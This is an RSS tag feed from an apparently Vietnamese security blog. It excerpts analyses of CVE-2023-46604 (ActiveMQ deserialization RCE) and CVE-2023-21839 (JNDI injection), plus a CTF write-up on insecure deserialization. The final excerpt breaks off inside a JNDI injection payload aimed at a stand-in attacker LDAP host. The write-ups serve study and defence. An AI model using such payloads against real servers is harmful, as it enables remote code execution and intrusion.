https://blog.shiba.onl/tags/java/Recent content in Java on shibajutsuHugovn© shibajutsuWed, 26 Nov 2025 00:00:00 +0700https://blog.shiba.onl/posts/cve-2023-46604/Wed, 26 Nov 2025 00:00:00 +0700https://blog.shiba.onl/posts/cve-2023-46604/CVE-2023-46604 CVE-2023-46604 là lỗ hổng RCE trong Apache ActiveMQ. Nguyên nhân xuất phát từ việc giải tuần tự (deserialization) dữ liệu không an toàn trong giao thức OpenWire – giao thức mặc định của ActiveMQ. ActiveMQ và OpenWire ActiveMQ ActiveMQ là một message broker mã nguồn mở, viết bằng Java và là một dự án của Apache. Nó cung cấp khả năng gửi/nhận tin nhắn ứng dụng theo mô hình decoupled (queue và publish/subscribe).https://blog.shiba.onl/posts/gadget-store/Fri, 26 Sep 2025 21:00:00 +0700https://blog.shiba.onl/posts/gadget-store/Tóm tắt Đây là một challenge web trong khuôn khổ sự kiện Smart Banking 6th. Trang web là một cửa hàng cho phép người dùng mua hàng, các sản phẩm đã mua sẽ được lưu trong session. Khi người dùng export thông tin mua hàng, thông tin mua hàng sẽ được serialized và người dùng tải về, ngược lại người dùng cũng có thể upload file .ser (chứa data đã serialized) để import thông tin mua hàng mua mình.https://blog.shiba.onl/posts/cve-2023-21839/Tue, 10 Jun 2025 00:00:00 +0700https://blog.shiba.onl/posts/cve-2023-21839/Phân tích CVE-2023-21839 Overview JNDI Java Naming Directory Interface là một API của cho phép các ứng dụng Java tìm kiếm, truy xuất và quản lý các đối tượng hoặc tài nguyên được đăng ký trong một hệ thống danh mục. Dưới đây là ví dụ quá trình tìm và sử dụng đối tượng/tài nguyên: flowchart TD A["Khởi tạo Context: new InitialContext()"] --> B["Gọi phương thức lookup()"] B --> C[Kết nối tới dịch vụ Naming/Directory Service] C --> D[Tra cứu đối tượng theo tên] D -- Nếu tìm thấy --> E[Trả về đối tượng] D -- Nếu không tìm thấy --> F[Throw NameNotFoundException] E --> G[Sử dụng đối tượng trong ứng dụng] F --> H[Xử lý lỗi và thông báo] JNDI Injection Là việc kẻ tấn công có thể thao túng quá trình tìm và load đối tượng/tài nguyên (lookup(), ${jndi:ldap://attacker.